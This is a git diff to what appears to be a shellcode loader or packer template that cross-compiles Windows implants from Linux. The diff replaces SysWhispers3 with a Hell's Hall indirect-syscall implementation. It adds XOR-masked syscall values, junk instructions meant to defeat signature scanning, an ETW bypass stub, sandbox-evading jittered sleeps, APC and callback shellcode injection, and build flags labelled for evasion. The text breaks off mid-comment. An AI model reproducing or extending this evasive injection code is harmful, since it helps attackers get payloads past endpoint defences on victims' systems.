diff --git a/Linux/templates/staged/unhook.c b/Linux/templates/staged/unhook.c index f24dd80..9622faa 100644 --- a/Linux/templates/staged/unhook.c +++ b/Linux/templates/staged/unhook.c @@ -89,7 +89,6 @@ LPVOID MapNtdll() { NTSTATUS status2 = pNtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY); if (!NT_SUCCESS(status2)) { //printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError()); - getchar(); return NULL; } return pntdll; diff --git a/Linux/templates/staged/whispers-asm.x64.asm b/Linux/templates/staged/whispers-asm.x64.asm index fadce88..84e0e6f 100644 --- a/Linux/templates/staged/whispers-asm.x64.asm +++ b/Linux/templates/staged/whispers-asm.x64.asm @@ -1,123 +1,70 @@ -; =============================================================== -; NASM x64 version of your assembly. -; Save as "whispers-asm.nasm", for example. -; Assemble: nasm -f win64 whispers-asm.nasm -o whispers-asm.obj -; Link: x86_64-w64-mingw32-gcc main.c whispers-asm.obj -o myprogram.exe -; =============================================================== +bits 64 +default rel -bits 64 ; 64-bit code -default rel ; Use RIP-relative addressing by default +; XOR keys — values in .data are stored masked so plaintext never sits on disk +%define KEY_SSN 0xD3C97B2F +%define KEY_ADDR 0xD3C97B2FD3C97B2F +; --------------------------------------------------------------------------- +; .data — stored as (realValue ^ key); decoded at dispatch time +; --------------------------------------------------------------------------- +section .data + dwSSN dd 0 + qAddr dq 0 + +; --------------------------------------------------------------------------- +; .text +; --------------------------------------------------------------------------- section .text -; Export the labels so your C code can call them -global NTAVM -global NTPVM -global NTWVM -global NTQAT - -; Declare external symbols (the calls to these are in your code) -extern SW3_GetSyscallNumber -extern SW3_GetRandomSyscallAddress +; --------------------------------------------------------------------------- +; SetConfig(WORD wSSN [ecx], PVOID pSyscallInst [rdx]) +; XOR-masks both values before storing so .data never holds plaintext. +; --------------------------------------------------------------------------- +global SetConfig +SetConfig: + push rax + xor ecx, KEY_SSN ; mask SSN before store + mov dword [rel dwSSN], ecx + mov rax, KEY_ADDR ; mask address before store + xor rdx, rax + mov qword [rel qAddr], rdx + pop rax + ret ; --------------------------------------------------------------------------- -; NTAVM +; HellHall dispatch — four typed aliases, one body +; +; Obfuscation applied: +; • address decoded into r11 BEFORE eax is set (avoids rax clobber) +; • push r11 / ret replaces jmp [qAddr] — no indirect-jump byte pattern +; • junk ops interspersed to break byte-signature matching ; --------------------------------------------------------------------------- -NTAVM: - mov [rsp + 8], rcx ; Save registers - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 +global HellHall_NtAVM +global HellHall_NtPVM +global HellHall_NtWVM +global HellHall_NtQAT - sub rsp, 0x28 - mov ecx, 0xC189CD1E ; Load function hash into ECX - call SW3_GetRandomSyscallAddress - mov r11, rax ; Save the address of the syscall - - mov ecx, 0xC189CD1E ; Re-load function hash (optional) - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] ; Restore registers - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 ; Jump to -> Invoke system call +HellHall_NtAVM: +HellHall_NtPVM: +HellHall_NtWVM: +HellHall_NtQAT: + mov r10, rcx ; NT ABI: first arg → r10 + and r8d, r8d ; [junk] dead flag test on arg3 + mov r11, qword [rel qAddr] ; load masked address + mov rax, KEY_ADDR ; decode key (rax free — eax not set yet) + xor r11, rax ; r11 = real syscall instruction address + or r9d, r9d ; [junk] dead flag test on arg4 + mov eax, dword [rel dwSSN] ; load masked SSN + xor eax, KEY_SSN ; eax = real SSN + push r11 ; push target onto stack … + ret ; … ret pops it → no jmp pattern ; --------------------------------------------------------------------------- -; NTPVM +; RetStub — ETW trampoline bypass: returns STATUS_SUCCESS (RAX = 0) ; --------------------------------------------------------------------------- -NTPVM: - mov [rsp + 8], rcx - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 - - sub rsp, 0x28 - mov ecx, 0x159D0313 ; Load function hash - call SW3_GetRandomSyscallAddress - mov r11, rax - - mov ecx, 0x159D0313 ; Re-load function hash - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 - -; --------------------------------------------------------------------------- -; NTWVM -; --------------------------------------------------------------------------- -NTWVM: - mov [rsp + 8], rcx - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 - - sub rsp, 0x28 - mov ecx, 0x83179B97 ; Load function hash - call SW3_GetRandomSyscallAddress - mov r11, rax - - mov ecx, 0x83179B97 - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 - -; --------------------------------------------------------------------------- -; NTQAT -; --------------------------------------------------------------------------- -NTQAT: - mov [rsp + 8], rcx - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 - - sub rsp, 0x28 - mov ecx, 0x88AE129F ; Load function hash - call SW3_GetRandomSyscallAddress - mov r11, rax - - mov ecx, 0x88AE129F - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 - -; End of file +global RetStub +RetStub: + neg rax ; [junk] overwritten by xor below + xor eax, eax + ret diff --git a/Linux/templates/staged/whispers.c b/Linux/templates/staged/whispers.c index 96c0ae6..cfd4e32 100644 --- a/Linux/templates/staged/whispers.c +++ b/Linux/templates/staged/whispers.c @@ -1,278 +1,6 @@ +/* + * whispers.c — SysWhispers3 replaced by Hell's Hall. + * This file is kept so the Makefile does not need changes. + * All syscall logic is in hellhall.c. + */ #include "whispers.h" -#include - -//#define DEBUG - -#define JUMPER - -#ifdef _M_IX86 - -EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { - return (PVOID)__readfsdword(0xC0); -} - -__declspec(naked) BOOL local_is_wow64(void) -{ - __asm { - mov eax, fs:[0xc0] - test eax, eax - jne wow64 - mov eax, 0 - ret - wow64: - mov eax, 1 - ret - } -} - - -#endif - -// Code below is adapted from @modexpblog. Read linked article for more details. -// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams - -SW3_SYSCALL_LIST SW3_SyscallList; - -// SEARCH_AND_REPLACE -#ifdef SEARCH_AND_REPLACE -// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release -EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); -#endif - -DWORD SW3_HashSyscall(PCSTR FunctionName) -{ - DWORD i = 0; - DWORD Hash = SW3_SEED; - - while (FunctionName[i]) - { - WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); - Hash ^= PartialName + SW3_ROR8(Hash); - } - - return Hash; -} - -#ifndef JUMPER -PVOID SC_Address(PVOID NtApiAddress) -{ - return NULL; -} -#else -PVOID SC_Address(PVOID NtApiAddress) -{ - DWORD searchLimit = 512; - PVOID SyscallAddress; - - #ifdef _WIN64 - // If the process is 64-bit on a 64-bit OS, we need to search for syscall - BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; - ULONG distance_to_syscall = 0x12; - #else - // If the process is 32-bit on a 32-bit OS, we need to search for sysenter - BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; - ULONG distance_to_syscall = 0x0f; - #endif - - #ifdef _M_IX86 - // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved - if (local_is_wow64()) - { - #ifdef DEBUG - printf("[+] Running 32-bit app on x64 (WOW64)\n"); - #endif - return NULL; - } - #endif - - // we don't really care if there is a 'jmp' between - // NtApiAddress and the 'syscall; ret' instructions - SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); - - if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) - { - // we can use the original code for this system call :) - #if defined(DEBUG) - printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); - #endif - return SyscallAddress; - } - - // the 'syscall; ret' intructions have not been found, - // we will try to use one near it, similarly to HalosGate - - for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) - { - // let's try with an Nt* API below our syscall - SyscallAddress = SW3_RVA2VA( - PVOID, - NtApiAddress, - distance_to_syscall + num_jumps * 0x20); - if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) - { - #if defined(DEBUG) - printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); - #endif - return SyscallAddress; - } - - // let's try with an Nt* API above our syscall - SyscallAddress = SW3_RVA2VA( - PVOID, - NtApiAddress, - distance_to_syscall - num_jumps * 0x20); - if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) - { - #if defined(DEBUG) - printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); - #endif - return SyscallAddress; - } - } - -#ifdef DEBUG - printf("Syscall Opcodes not found!\n"); -#endif - - return NULL; -} -#endif - - -BOOL SW3_PopulateSyscallList() -{ - // Return early if the list is already populated. - if (SW3_SyscallList.Count) return TRUE; - - #ifdef _WIN64 - PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); - #else - PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); - #endif - PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; - PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; - PVOID DllBase = NULL; - - // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second - // in the list, so it's safer to loop through the full list and find it. - PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; - for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) - { - DllBase = LdrEntry->DllBase; - PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; - PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); - PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; - DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; - if (VirtualAddress == 0) continue; - - ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); - - // If this is NTDLL.dll, exit loop. - PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); - - if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; - if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; - } - - if (!ExportDirectory) return FALSE; - - DWORD NumberOfNames = ExportDirectory->NumberOfNames; - PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); - PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); - PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); - - // Populate SW3_SyscallList with unsorted Zw* entries. - DWORD i = 0; - PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; - do - { - PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); - - // Is this a system call? - if (*(USHORT*)FunctionName == 0x775a) - { - Entries[i].Hash = SW3_HashSyscall(FunctionName); - Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; - Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); - - i++; - if (i == SW3_MAX_ENTRIES) break; - } - } while (--NumberOfNames); - - // Save total number of system calls found. - SW3_SyscallList.Count = i; - - // Sort the list by address in ascending order. - for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) - { - for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) - { - if (Entries[j].Address > Entries[j + 1].Address) - { - // Swap entries. - SW3_SYSCALL_ENTRY TempEntry; - - TempEntry.Hash = Entries[j].Hash; - TempEntry.Address = Entries[j].Address; - TempEntry.SyscallAddress = Entries[j].SyscallAddress; - - Entries[j].Hash = Entries[j + 1].Hash; - Entries[j].Address = Entries[j + 1].Address; - Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; - - Entries[j + 1].Hash = TempEntry.Hash; - Entries[j + 1].Address = TempEntry.Address; - Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; - } - } - } - - return TRUE; -} - -EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) -{ - // Ensure SW3_SyscallList is populated. - if (!SW3_PopulateSyscallList()) return -1; - - for (DWORD i = 0; i < SW3_SyscallList.Count; i++) - { - if (FunctionHash == SW3_SyscallList.Entries[i].Hash) - { - return i; - } - } - - return -1; -} - -EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) -{ - // Ensure SW3_SyscallList is populated. - if (!SW3_PopulateSyscallList()) return NULL; - - for (DWORD i = 0; i < SW3_SyscallList.Count; i++) - { - if (FunctionHash == SW3_SyscallList.Entries[i].Hash) - { - return SW3_SyscallList.Entries[i].SyscallAddress; - } - } - - return NULL; -} - -EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) -{ - // Ensure SW3_SyscallList is populated. - if (!SW3_PopulateSyscallList()) return NULL; - - DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count; - - while (FunctionHash == SW3_SyscallList.Entries[index].Hash){ - // Spoofing the syscall return address - index = ((DWORD) rand()) % SW3_SyscallList.Count; - } - return SW3_SyscallList.Entries[index].SyscallAddress; -} diff --git a/Linux/templates/staged/whispers.h b/Linux/templates/staged/whispers.h index 82c24e8..25e506c 100644 --- a/Linux/templates/staged/whispers.h +++ b/Linux/templates/staged/whispers.h @@ -1,100 +1,5 @@ +/* + * whispers.h — shim; implementation replaced by Hell's Hall (hellhall.h/.c) + */ #pragma once - -// Code below is adapted from @modexpblog. Read linked article for more details. -// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams - -#ifndef SW3_HEADER_H_ -#define SW3_HEADER_H_ - -#include - -#ifndef _NTDEF_ -typedef _Return_type_success_(return >= 0) LONG NTSTATUS; -typedef NTSTATUS* PNTSTATUS; -#endif - -#define SW3_SEED 0x51EBD349 -#define SW3_ROL8(v) (v << 8 | v >> 24) -#define SW3_ROR8(v) (v >> 8 | v << 24) -#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) -#define SW3_MAX_ENTRIES 600 -#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) - -// Typedefs are prefixed to avoid pollution. - -typedef struct _SW3_SYSCALL_ENTRY -{ - DWORD Hash; - DWORD Address; - PVOID SyscallAddress; -} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY; - -typedef struct _SW3_SYSCALL_LIST -{ - DWORD Count; - SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; -} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST; - -typedef struct _SW3_PEB_LDR_DATA { - BYTE Reserved1[8]; - PVOID Reserved2[3]; - LIST_ENTRY InMemoryOrderModuleList; -} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA; - -typedef struct _SW3_LDR_DATA_TABLE_ENTRY { - PVOID Reserved1[2]; - LIST_ENTRY InMemoryOrderLinks; - PVOID Reserved2[2]; - PVOID DllBase; -} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY; - -typedef struct _SW3_PEB { - BYTE Reserved1[2]; - BYTE BeingDebugged; - BYTE Reserved2[1]; - PVOID Reserved3[2]; - PSW3_PEB_LDR_DATA Ldr; -} SW3_PEB, *PSW3_PEB; - -DWORD SW3_HashSyscall(PCSTR FunctionName); -BOOL SW3_PopulateSyscallList(); -EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); -EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); -EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); -typedef VOID(KNORMAL_ROUTINE) ( - IN PVOID NormalContext, - IN PVOID SystemArgument1, - IN PVOID SystemArgument2); - -typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE; - -EXTERN_C NTSTATUS NTAVM( - IN HANDLE ProcessHandle, - IN OUT PVOID * BaseAddress, - IN ULONG ZeroBits, - IN OUT PSIZE_T RegionSize, - IN ULONG AllocationType, - IN ULONG Protect); - -EXTERN_C NTSTATUS NTPVM( - IN HANDLE ProcessHandle, - IN OUT PVOID * BaseAddress, - IN OUT PSIZE_T RegionSize, - IN ULONG NewProtect, - OUT PULONG OldProtect); - -EXTERN_C NTSTATUS NTWVM( - IN HANDLE ProcessHandle, - IN PVOID BaseAddress, - IN PVOID Buffer, - IN SIZE_T NumberOfBytesToWrite, - OUT PSIZE_T NumberOfBytesWritten OPTIONAL); - -EXTERN_C NTSTATUS NTQAT( - IN HANDLE ThreadHandle, - IN PKNORMAL_ROUTINE ApcRoutine, - IN PVOID ApcArgument1 OPTIONAL, - IN PVOID ApcArgument2 OPTIONAL, - IN PVOID ApcArgument3 OPTIONAL); - -#endif +#include "hellhall.h" diff --git a/Linux/templates/stageless/Makefile b/Linux/templates/stageless/Makefile index f57ea21..ccab0bd 100644 --- a/Linux/templates/stageless/Makefile +++ b/Linux/templates/stageless/Makefile @@ -1,5 +1,6 @@ ############################################################################### -# Makefile for Clang (MinGW) on Windows or cross-compiling from Linux +# Makefile for Clang (MinGW) cross-compiling from Linux +# Targets: Debian / Ubuntu / Kali Linux (mingw-w64 + clang + lld + nasm) # DO NOT MODIFY THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING ############################################################################### @@ -8,15 +9,29 @@ # ─────────────────────────────────────────────────────────────────────────────── .SUFFIXES: - TARGET_TRIPLE ?= x86_64-w64-mingw32 -CLANG ?= clang --target=$(TARGET_TRIPLE) -fuse-ld=lld +CLANG ?= clang --target=$(TARGET_TRIPLE) -fuse-ld=lld -# MinGW‑w64 include / lib helper paths (auto‑detect the GCC win32 subtree) -GCC_WIN32_PATH := $(shell find /usr/lib/gcc/$(TARGET_TRIPLE)/ -type d -name "*win32" | head -n 1) -INCLUDE_DIR := /usr/$(TARGET_TRIPLE)/include -INCLUDE := -I$(INCLUDE_DIR) -LIBPATH := -L$(GCC_WIN32_PATH) +# Parallel jobs — use all available cores (override with: make JOBS=N) +JOBS ?= $(shell nproc 2>/dev/null || echo 4) +MAKEFLAGS += -j$(JOBS) + +# ── Sysroot paths (standard Debian/Ubuntu/Kali layout) ─────────────────────── +MINGW_SYSROOT := /usr/$(TARGET_TRIPLE) +INCLUDE_DIR := $(MINGW_SYSROOT)/include +MINGW_LIB_DIR := $(MINGW_SYSROOT)/lib +INCLUDE := -I$(INCLUDE_DIR) + +# GCC runtime libs (libgcc.a, libmingwex.a …). +# Auto-detect the win32 subtree; fall back to MINGW_LIB_DIR if GCC is absent +# (e.g. llvm-mingw-only setups). +GCC_WIN32_PATH := $(shell find /usr/lib/gcc/$(TARGET_TRIPLE)/ -type d -name "*win32" 2>/dev/null | head -n1) +ifeq ($(GCC_WIN32_PATH),) + GCC_WIN32_PATH := $(MINGW_LIB_DIR) +endif + +# Both paths needed: GCC runtime + mingw-w64 import stubs (winhttp, ntdll …) +LIBPATH := -L$(GCC_WIN32_PATH) -L$(MINGW_LIB_DIR) # ─────────────────────────────────────────────────────────────────────────────── # 2. Build format selector (EXE is default) @@ -27,10 +42,12 @@ FORMAT ?= EXE # { EXE | DLL } # 3. Source files # ─────────────────────────────────────────────────────────────────────────────── COMMON_SRCS := \ - api_hashing.c \ + api_hashing.c \ inject.c \ unhook.c \ - whispers.c + hellhall.c \ + sandbox.c \ + trampoline.c ifeq ($(FORMAT),DLL) MAIN_SRC := main_dll.c @@ -59,8 +76,12 @@ ASFLAGS := -f win64 # Baseline flags from the original CTFPacker Makefile: # -O0 -Wall -w -fms-extensions -fdeclspec -static # We keep them intact so behaviour matches the pre‑DLL build. -CFLAGS_BASE := -O0 -Wall -w -fms-extensions -fdeclspec -static -LDFLAGS_BASE := -Wl,--disable-auto-import -s +# Hardening flags for evasion and binary optimization +HARDENING_FLAGS := -fno-stack-protector -fno-exceptions -fno-asynchronous-unwind-tables \ + -ffunction-sections -fdata-sections -Wl,--gc-sections + +CFLAGS_BASE := -O0 -Wall -w -fms-extensions -fdeclspec -static -D_WIN32_WINNT=0x0602 $(HARDENING_FLAGS) +LDFLAGS_BASE := -Wl,--disable-auto-import -s -Wl,--no-seh -mwindows LIBS := -lwinhttp -lntdll ifeq ($(FORMAT),DLL) @@ -75,15 +96,26 @@ endif # ─────────────────────────────────────────────────────────────────────────────── # 6. Phony targets # ─────────────────────────────────────────────────────────────────────────────── -.PHONY: all exe dll clean +.PHONY: all exe dll clean check all: $(TARGET) exe: - $(MAKE) FORMAT=EXE + $(MAKE) FORMAT=EXE JOBS=$(JOBS) dll: - $(MAKE) FORMAT=DLL + $(MAKE) FORMAT=DLL JOBS=$(JOBS) + +# ── Toolchain sanity check ──────────────────────────────────────────────────── +check: + @echo "[*] Checking required tools..." + @command -v clang >/dev/null 2>&1 || { echo "[-] clang not found"; exit 1; } + @command -v lld >/dev/null 2>&1 || { echo "[-] lld not found"; exit 1; } + @command -v nasm >/dev/null 2>&1 || { echo "[-] nasm not found"; exit 1; } + @command -v make >/dev/null 2>&1 || { echo "[-] make not found"; exit 1; } + @test -d "$(INCLUDE_DIR)" || { echo "[-] MinGW includes missing: $(INCLUDE_DIR)"; exit 1; } + @test -d "$(MINGW_LIB_DIR)" || { echo "[-] MinGW libs missing: $(MINGW_LIB_DIR)"; exit 1; } + @echo "[+] All tools OK (jobs=$(JOBS))" # ─────────────────────────────────────────────────────────────────────────────── # 7. Linking & compilation rules diff --git a/Linux/templates/stageless/functions.h b/Linux/templates/stageless/functions.h index 61ad5a0..55fbcbd 100644 --- a/Linux/templates/stageless/functions.h +++ b/Linux/templates/stageless/functions.h @@ -1,14 +1,20 @@ #pragma once #include +#include // API Hashing Part #define HASHA(API) (HashStringDjb2A((PCHAR) API)) #define INITIAL_HASH #-INITIAL_HASH_VALUE-# #define INITIAL_SEED #-INITIAL_SEED_VALUE-# +// Jittered sleep. uses WaitForSingleObject so sandbox time-acceleration +#define JITTER_SLEEP(ms) \ + WaitForSingleObject(GetCurrentProcess(), (DWORD)((ms) + (rand() % ((ms) / 2 + 1)))) + BOOL GetContent(OUT PBYTE* pPayload, OUT SIZE_T* sSizeOfPayload); BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread); BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress); +BOOL CallbackInjection(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress); HMODULE GetModuleHandleH(DWORD dwModuleNameHash); FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash); diff --git a/Linux/templates/stageless/hellhall.c b/Linux/templates/stageless/hellhall.c new file mode 100644 index 0000000..ad250aa --- /dev/null +++ b/Linux/templates/stageless/hellhall.c @@ -0,0 +1,234 @@ +/* + * hellhall.c + * + * Hell's Hall indirect syscall implementation. + * Adapted from Hell's Hall (MalDevAcademy), ported to Clang/x64/NASM. + * + * Replaces SysWhispers3. inject.c is unchanged — NTAVM/NTPVM/NTWVM/NTQAT + * are exported with identical signatures. + * + * How it works: + * 1. Walk the PEB InMemoryOrderModuleList to find ntdll base. + * 2. Enumerate the export directory; for each export, CRC32b-hash the name. + * 3. Once matched, scan the stub body for "MOV R10,RCX; MOV EAX," + * to extract the syscall number (works even on hooked stubs). + * 4. Find the nearest "syscall" (0F 05) instruction within the stub. + * 5. SetConfig(SSN, &syscall_instr) stores both in .data globals. + * 6. HellHall_Nt*() does: MOV R10,RCX ; MOV EAX,[SSN] ; JMP [syscall_instr] + * — execution resurfaces inside ntdll, making call stacks look legitimate. + */ + +#include +#include "hellhall.h" +#include "structs.h" + +/* -------------------------------------------------------------------------- */ +/* Internal ntdll export-table context (populated once) */ +/* -------------------------------------------------------------------------- */ +typedef struct _HH_NTDLL { + PBYTE pBase; + PIMAGE_DOS_HEADER pDos; + PIMAGE_NT_HEADERS pNt; + PIMAGE_EXPORT_DIRECTORY pExp; + PDWORD pdwFunctions; + PDWORD pdwNames; + PWORD pwOrdinals; +} HH_NTDLL; + +static HH_NTDLL gNtdll = { 0 }; + +/* Per-syscall cache — resolved once; avoids repeated export-table scans */ +typedef struct _HH_CACHE { + SysFunc NtAllocateVirtualMemory; + SysFunc NtProtectVirtualMemory; + SysFunc NtWriteVirtualMemory; + SysFunc NtQueueApcThread; +} HH_CACHE; + +static HH_CACHE gCache = { 0 }; +static BOOL gReady = FALSE; + +/* -------------------------------------------------------------------------- */ +/* CRC32b */ +/* -------------------------------------------------------------------------- */ +hh_u32 HH_Crc32b(const hh_u8 *str) +{ + hh_u32 crc = 0xFFFFFFFFu; + int i = 0; + while (str[i]) { + hh_u32 byte = (hh_u32)str[i]; + crc ^= byte; + for (int j = 7; j >= 0; j--) { + hh_u32 mask = (hh_u32)(-(int)(crc & 1u)); + crc = (crc >> 1) ^ (HH_SEED & mask); + } + i++; + } + return ~crc; +} + +/* -------------------------------------------------------------------------- */ +/* Populate ntdll export-table pointers (once) */ +/* -------------------------------------------------------------------------- */ +BOOL HH_InitNtdll(VOID) +{ + if (gNtdll.pBase) return TRUE; + + /* Walk PEB -> LDR InMemoryOrderModuleList: + * [1] = the process image itself + * [2] = ntdll.dll (always second in InMemoryOrder) + * + * Flink of InMemoryOrderModuleList -> InMemoryOrderLinks of entry[1] + * .Flink -> InMemoryOrderLinks of entry[2] (ntdll) + * - 0x10 -> base of LDR_DATA_TABLE_ENTRY (InMemoryOrderLinks is at +0x10) + * ->DllBase -> ntdll image base + */ + PPEB pPeb = (PPEB)__readgsqword(0x60); + if (!pPeb) return FALSE; + + PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)( + (PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10); + if (!pDte) return FALSE; + + gNtdll.pBase = (PBYTE)pDte->DllBase; + if (!gNtdll.pBase) return FALSE; + + gNtdll.pDos = (PIMAGE_DOS_HEADER)gNtdll.pBase; + if (gNtdll.pDos->e_magic != IMAGE_DOS_SIGNATURE) return FALSE; + + gNtdll.pNt = (PIMAGE_NT_HEADERS)(gNtdll.pBase + gNtdll.pDos->e_lfanew); + if (gNtdll.pNt->Signature != IMAGE_NT_SIGNATURE) return FALSE; + + gNtdll.pExp = (PIMAGE_EXPORT_DIRECTORY)(gNtdll.pBase + + gNtdll.pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + if (!gNtdll.pExp || !gNtdll.pExp->Base) return FALSE; + + gNtdll.pdwFunctions = (PDWORD)(gNtdll.pBase + gNtdll.pExp->AddressOfFunctions); + gNtdll.pdwNames = (PDWORD)(gNtdll.pBase + gNtdll.pExp->AddressOfNames); + gNtdll.pwOrdinals = (PWORD) (gNtdll.pBase + gNtdll.pExp->AddressOfNameOrdinals); + + return TRUE; +} + +/* -------------------------------------------------------------------------- */ +/* Resolve SSN + indirect syscall address for one NT function */ +/* -------------------------------------------------------------------------- */ +BOOL HH_InitSysFunc(IN hh_u32 uHash, OUT PSysFunc psF) +{ + if (!uHash || !psF) return FALSE; + if (!gNtdll.pBase && !HH_InitNtdll()) return FALSE; + + RtlSecureZeroMemory(psF, sizeof(SysFunc)); + + for (DWORD i = 0; i < gNtdll.pExp->NumberOfNames; i++) { + CHAR *name = (CHAR *)(gNtdll.pBase + gNtdll.pdwNames[i]); + + if (HH_Crc32b((hh_u8 *)name) != uHash) + continue; + + psF->uHash = uHash; + psF->pAddress = (PBYTE)(gNtdll.pBase + + gNtdll.pdwFunctions[gNtdll.pwOrdinals[i]]); + + /* Scan stub body for: + * 4C 8B D1 mov r10, rcx + * B8 lo hi 00 00 mov eax, + * + * Works even when the first few bytes are hooked/patched, because + * EDR hooks typically only overwrite the first 5-10 bytes (the jmp). + */ + for (DWORD j = 0; j < 0x50; j++) { + /* Hit a ret before finding the pattern — stub is trampolined oddly */ + if (*((PBYTE)psF->pAddress + j) == 0xC3) + return FALSE; + + if (*((PBYTE)psF->pAddress + j + 0) == 0x4C && + *((PBYTE)psF->pAddress + j + 1) == 0x8B && + *((PBYTE)psF->pAddress + j + 2) == 0xD1 && + *((PBYTE)psF->pAddress + j + 3) == 0xB8) + { + BYTE lo = *((PBYTE)psF->pAddress + j + 4); + BYTE hi = *((PBYTE)psF->pAddress + j + 5); + psF->wSSN = (WORD)((hi << 8) | lo); + + /* Find the nearest 'syscall' (0F 05) instruction */ + for (DWORD z = 0, x = 1; z <= HH_RANGE; z++, x++) { + if (*((PBYTE)psF->pAddress + j + z) == 0x0F && + *((PBYTE)psF->pAddress + j + x) == 0x05) + { + psF->pInst = (PVOID)((PBYTE)psF->pAddress + j + z); + break; + } + } + + return (psF->wSSN != 0 && psF->pInst != NULL) ? TRUE : FALSE; + } + } + } + + return FALSE; +} + +/* 